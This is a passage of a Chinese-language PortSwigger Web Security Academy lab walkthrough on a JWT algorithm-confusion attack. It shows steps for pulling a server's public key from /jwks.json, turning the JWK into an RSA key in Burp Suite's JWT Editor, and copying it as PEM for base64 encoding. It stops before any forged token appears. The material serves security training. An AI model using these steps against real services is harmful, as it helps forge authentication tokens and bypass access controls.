        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 4</span><span style="font-family:宋体;font-size:12.0pt;">:服务器有时通过映射到<span lang="EN-US">/jwks.json</span>或<span lang="EN-US">/.well-known/jwks.json</span>的端点将它们的公钥公开为<span lang="EN-US">JSON Web Key(JWK)</span>对象,比如大家熟知的<span lang="EN-US">/jwks.json</span>,这些可能被存储在一个称为密钥的<span lang="EN-US">jwk</span>数组中,这就是众所周知的<span lang="EN-US">JWK</span>集合,即使密钥没有公开,您也可以从一对现有的<span lang="EN-US">jwt</span>中提取它<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"keys"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"75d0ef47-af89-47a9-9061-7c02a610d5ab"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">},</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">于是乎我们可以直接访问</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/jwks.json</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">接口获取到服务器的公钥信息,在此处我们将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">复制下来,作为我们第二部的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA Key<br />
https://0aad003404004c0b817dcff9004c0050.web-security-academy.net/jwks.json</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"keys"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"use"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"sig"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"63624c36-bfd8-4146-888e-6d032ad4fe18"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">&nbsp;</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"><br />
Step 5</span><span style="font-family:宋体;font-size:12.0pt;">:在<span lang="EN-US">Burpsuite</span>的<span lang="EN-US">JWT Editor Keys</span>中点击<span lang="EN-US">"New RSA Key"</span>,用之前泄露的<span lang="EN-US">JWK</span>而生成一个新的<span lang="EN-US">RSA Key</span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"use"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"sig"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"63624c36-bfd8-4146-888e-6d032ad4fe18"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 6</span><span style="font-family:宋体;font-size:12.0pt;">:选中<span lang="EN-US">"Copy Public Key as PEM"</span>,同时将其进行<span lang="EN-US">base64</span>编码操作,保存一下得到的字符串<span lang="EN-US">(</span>备注<span lang="EN-US">:</span>上下的一串<span lang="EN-US">-----END PUBLIC KEY-----</span>不要删掉<span lang="EN-US">)</span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-----</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">BEGIN PUBLIC KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-----</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzsiIsVqAKSpOnOxMKrI0<br />
hT3p8m</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">NK3VoejFnt4Hx2CFzvJsZ4</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">9</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">mmoIVwi</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">nXYr7NtNV7stOSS4MGzYdJ57t<br />
</span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">4</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">v83B9h7uI1fdKSp</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">L</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">cisg31S0Wm5B</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">LDnvuABFMcShJ</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">DKTgEYfLHaG31Judly<br />
JdnfgNIIa0XL</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">wbGh7Xshf8RtzR8FC2DfApX</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">KXYNnHxnTKTPXl5unBgCxyny2n<br />
</span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">2</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">E2<br />
FXIoPIt8m</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">VSXlsKyZpjpfXTJJZo</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">IqazAl1XBW6bjwWjxwee0Xbyt7M1</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">1d</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">TKja<br />
AwIDAQAB<br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-----</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">END PUBLIC KEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-----</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">base64</span><span style="font-family:宋体;font-size:12.0pt;">后结果:<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
